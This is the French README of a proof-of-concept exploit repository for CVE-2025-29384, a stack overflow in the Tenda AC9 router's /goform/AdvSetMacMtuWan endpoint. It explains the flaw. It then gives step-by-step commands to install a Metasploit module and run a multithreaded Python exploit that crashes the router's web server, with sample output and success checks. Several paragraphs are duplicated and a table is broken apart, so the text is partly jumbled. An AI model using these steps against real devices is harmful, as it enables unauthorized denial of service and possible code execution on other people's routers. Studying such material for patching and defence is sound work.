
POC for CVE-2025-29384
Ce dépôt contient une preuve de concept (PoC) avancée pour CVE-2025-29384, une vulnérabilité critique de débordement de tampon basé sur la pile découverte sur le routeur Tenda AC9 exécutant la version de firmware V15.03.05.14_multi. Cette vulnérabilité permet à un attaquant distant non authentifié de faire planter le serveur web du routeur (déni de service, DoS) et potentiellement d'exécuter du code arbitraire (exécution de code à distance, RCE).
Le but de ce projet est de démontrer des compétences en développement d'exploits, de contribuer à la communauté de la cybersécurité et de fournir une vitrine pédagogique pour des évaluations académiques, telles que des bourses en cybersécurité.
Ce dépôt contient une preuve de concept (PoC) avancée pour CVE-2025-29384, une vulnérabilité critique de débordement de tampon basé sur la pile découverte sur le routeur Tenda AC9 exécutant la version de firmware V15.03.05.14_multi. Cette vulnérabilité permet à un attaquant distant non authentifié de faire planter le serveur web du routeur (déni de service, DoS) et potentiellement d'exécuter du code arbitraire (exécution de code à distance, RCE).
Le but de ce projet est de démontrer des compétences en développement d'exploits, de contribuer à la communauté de la cybersécurité et de fournir une vitrine pédagogique pour des évaluations académiques (par exemple, bourses en cybersécurité).
CVE-2025-29384 affecte l'interface de gestion web du routeur Tenda AC9, plus précisément le point d'accès :
/goform/AdvSetMacMtuWan
La vulnérabilité existe en raison d'un mauvais contrôle des limites sur le paramètre wanMTU, qui est traité via une requête HTTP POST. L'entrée est copiée dans un tampon de pile de taille fixe sans validation, conduisant à un débordement de tampon basé sur la pile classique.
La fonction vulnérable (reconstruction hypothétique) suit cette structure :
void process_mtu(char *input) {
char buffer[256]; // Tampon de pile de taille fixe
strcpy(buffer, input); // Aucune vérification de longueur, provoque un débordement
// Traitement de la valeur MTU...
}
Un attaquant envoyant une charge utile surdimensionnée (par exemple, 1024+ octets) écrase la mémoire adjacente, y compris l'adresse de retour de la fonction, pouvant conduire à l'exécution de code.
Le Tenda AC9 est un routeur sans fil double bande avec les spécifications suivantes :
Ce dépôt inclut également un module Metasploit en Ruby pour CVE-2025-29384. Le module s'intègre parfaitement à Metasploit Framework, vous permettant d'exploiter la vulnérabilité via msfconsole.
git clone https://github.com/Otsmane-Ahmed/cve-2025-29384-poc
cd cve-2025-29384-poc
Localisez le fichier du module Ruby et copiez-le dans le répertoire des exploits de Metasploit :
cp tenda_ac9_stack_overflow.rb ~/.msf4/modules/exploits/linux/http/
Remarque : Si le répertoire n'existe pas, créez-le :
mkdir -p ~/.msf4/modules/exploits/linux/http/
Démarrez Metasploit Framework :
msfconsole
Chargez le module :
use exploit/linux/http/tenda_ac9_stack_overflow
Définissez l'adresse IP cible :
set RHOSTS <ip_cible>
Définissez la taille de la charge utile (optionnelle, par défaut 1024) :
set PAYLOAD_SIZE 2048
Exécutez l'exploit :
run
[*] Ciblage du Tenda AC9 à 192.168.0.1:80...
[*] Envoi de la charge utile de taille 2048...
[+] Charge utile envoyée avec succès !
[*] Réponse : HTTP/1.1 200 OK...
Succès : Le serveur web du routeur plante, provoquant une condition de déni de service (DoS).
Échec : Le routeur reste opérationnel, indiquant qu'il n'est peut-être pas vulnérable ou qu'il exécute une version de firmware corrigée.
Cette PoC est un exploit basé sur Python qui envoie une entrée surdimensionnée à /goform/AdvSetMacMtuWan, déclenchant un débordement de tampon pour faire planter le serveur web et démontrant le potentiel de RCE.
Multithreading – Lance plusieurs tentatives d'exploitation simultanées pour plus de fiabilité.
Charges utiles dynamiques – Génère des chaînes d'attaque aléatoires encodées en base64.
Journalisation – Utilise le module de journalisation de Python pour un débogage structuré.
Paramètres personnalisables – Ajustez l'IP cible, la taille de la charge utile et le nombre de threads.
Cette PoC est un exploit basé sur Python qui envoie une entrée surdimensionnée à /goform/AdvSetMacMtuWan, déclenchant un débordement de tampon pour faire planter le serveur web.
python poc.py --target <ip_routeur> --size 2048 --threads 10
| Argument | Description |
|---|---|
--target | IP du routeur (par défaut : ) |
[+] Moteur d'exploit CVE-2025-29384
[INFO] Cible : 192.168.0.1
[INFO] Envoi de la charge utile (2048 octets)...
[WARNING] Délai d'attente de la cible - crash possible !
[INFO] Séquence d'exploit terminée.
Succès : L'interface web du routeur devient non réactive (condition DoS).
Échec : Le routeur répond toujours (pas vulnérable ou mauvais firmware).
Pour confirmer que l'exploit fait planter le routeur avec succès, essayez de recharger l'interface web. Si elle devient non réactive, l'attaque a réussi. Pour une analyse plus poussée, vérifiez les journaux réseau pour les connexions interrompues ou utilisez ping pour vérifier la réactivité de l'appareil.
Ce projet est destiné uniquement à des fins éducatives et de tests d'intrusion éthiques. Toute utilisation non autorisée de cet exploit est illégale. L'auteur n'est pas responsable d'une mauvaise utilisation ou des dommages causés par ce code.
Développé avec ❤️ par Otsmane Ahmed
Ce projet est destiné uniquement à des fins éducatives et de tests d'intrusion éthiques. Toute utilisation non autorisée de cet exploit est illégale. L'auteur n'est pas responsable d'une mauvaise utilisation ou des dommages causés par ce code.
Ce projet est publié sous la licence MIT.
| Métrique | Valeur |
|---|
| Vecteur d'attaque | Réseau |
| Complexité de l'attaque | Faible |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Impact sur la confidentialité | Élevé |
| Impact sur l'intégrité | Élevé |
| Impact sur la disponibilité | Élevé |
192.168.0.1--size | Taille de la charge utile en octets (par défaut : 1024) |
--threads | Nombre de threads simultanés (par défaut : 5) |